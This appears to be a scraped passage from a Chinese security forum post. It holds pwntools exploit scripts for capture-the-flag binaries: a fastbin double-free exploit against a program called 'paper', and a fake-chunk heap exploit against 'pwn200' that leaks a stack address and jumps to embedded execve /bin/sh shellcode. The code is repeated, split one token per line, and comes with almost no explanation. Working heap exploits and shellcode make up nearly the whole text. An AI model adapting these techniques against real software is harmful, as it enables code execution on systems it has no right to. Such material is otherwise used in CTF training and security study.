add_paper(
0x30
,
1
,
"\x40\x00\x00\x00\x00\x00"
+
p64(myelf.symbols[
"gg"
]))
#0x60202a_chunk
#gdb.attach(io)
io.recv()
io.sendline(
"a"
)
#gdb.attach(io)
io.interactive()
from
pwn
import
*
context(os
=
'linux'
,arch
=
'amd64'
,log_level
=
'debug'
)
myelf
=
ELF(
"./paper"
)
io
=
process(myelf.path)
def
add_paper(num, index, content):
io.recv()
io.sendline(
"1"
)
io.recv()
io.sendline(
str
(index))
io.recv()
io.sendline(
str
(num))
io.recv()
io.sendline(content)
def
del_paper(index):
io.recv()
io.sendline(
"2"
)
io.recv()
io.sendline(
str
(index))
add_paper(
0x30
,
1
,
"1"
)
add_paper(
0x30
,
2
,
"1"
)
#gdb.attach(io)
del_paper(
1
)
del_paper(
2
)
del_paper(
1
)
#gdb.attach(io)
add_paper(
0x30
,
1
, p64(
0x60202a
))
#chunk1
#gdb.attach(io)
add_paper(
0x30
,
1
,
"1"
)
#gdb.attach(io)
add_paper(
0x30
,
1
,
"1"
)
#gdb.attach(io)
add_paper(
0x30
,
1
,
"\x40\x00\x00\x00\x00\x00"
+
p64(myelf.symbols[
"gg"
]))
#0x60202a_chunk
#gdb.attach(io)
io.recv()
io.sendline(
"a"
)
#gdb.attach(io)
io.interactive()
#encoding:utf-8
from
pwn
import
*
#r = remote('127.0.0.1', 6666)
p
=
process(
"./pwn200"
)
shellcode
=
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
def
pwn():
# gdb.attach(p, "b *0x400991")
data
=
shellcode.ljust(
46
,
'a'
)
data
+
=
'bb'
p.send(data)
p.recvuntil(
'bb'
)
rbp_addr
=
p.recvuntil(
', w'
)[:
-
3
]
rbp_addr
=
u64(rbp_addr.ljust(
8
,
'\x00'
))
print
hex
(rbp_addr)
fake_addr
=
rbp_addr
-
0x90
shellcode_addr
=
rbp_addr
-
0x50
# 输入id伪造下一个堆块的size
p.recvuntil(
'id ~~?'
)
p.sendline(
'32'
)
p.recvuntil(
'money~'
)
data
=
p64(
0
)
*
5
+
p64(
0x41
)
# 伪造堆块的size
data
=
data.ljust(
0x38
,
'\x00'
)
+
p64(fake_addr)
# 覆盖堆指针
p.send(data)
p.recvuntil(
'choice : '
)
p.sendline(
'2'
)
# 释放伪堆块进入fastbin
p.recvuntil(
'choice : '
)
p.sendline(
'1'
)
p.recvuntil(
'long?'
)
p.sendline(
'48'
)
p.recvuntil(
'\n48\n'
)
# 将伪堆块申请出来
data
=
'a'
*
0x18
+
p64(shellcode_addr)
# 将eip修改为shellcode的地址
data
=
data.ljust(
48
,
'\x00'
)
p.send(data)
p.recvuntil(
'choice : '
)
p.sendline(
'3'
)
# 退出返回时回去执行shellcode
p.interactive()
if
__name__
=
=
'__main__'
:
pwn()
#encoding:utf-8
from
pwn
import
*
#r = remote('127.0.0.1', 6666)
p
=
process(
"./pwn200"
)
shellcode
=
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
def
pwn():
# gdb.attach(p, "b *0x400991")
data
=
shellcode.ljust(
46
,
'a'
)
data
+
=
'bb'
p.send(data)
p.recvuntil(
'bb'
)
rbp_addr
=
p.recvuntil(
', w'
)[:
-
3
]
rbp_addr
=
u64(rbp_addr.ljust(
8
,
'\x00'
))
print
hex
(rbp_addr)
赞赏
- [原创] HRP Auto Analyze 智能漏洞分析插件 3630
- [原创][KCTF]第十三题 共存之道 WP 9836
- [原创]docker-remoter-api渗透 1460
- [原创]赛棍pwn课程(结束了共计9天) 25607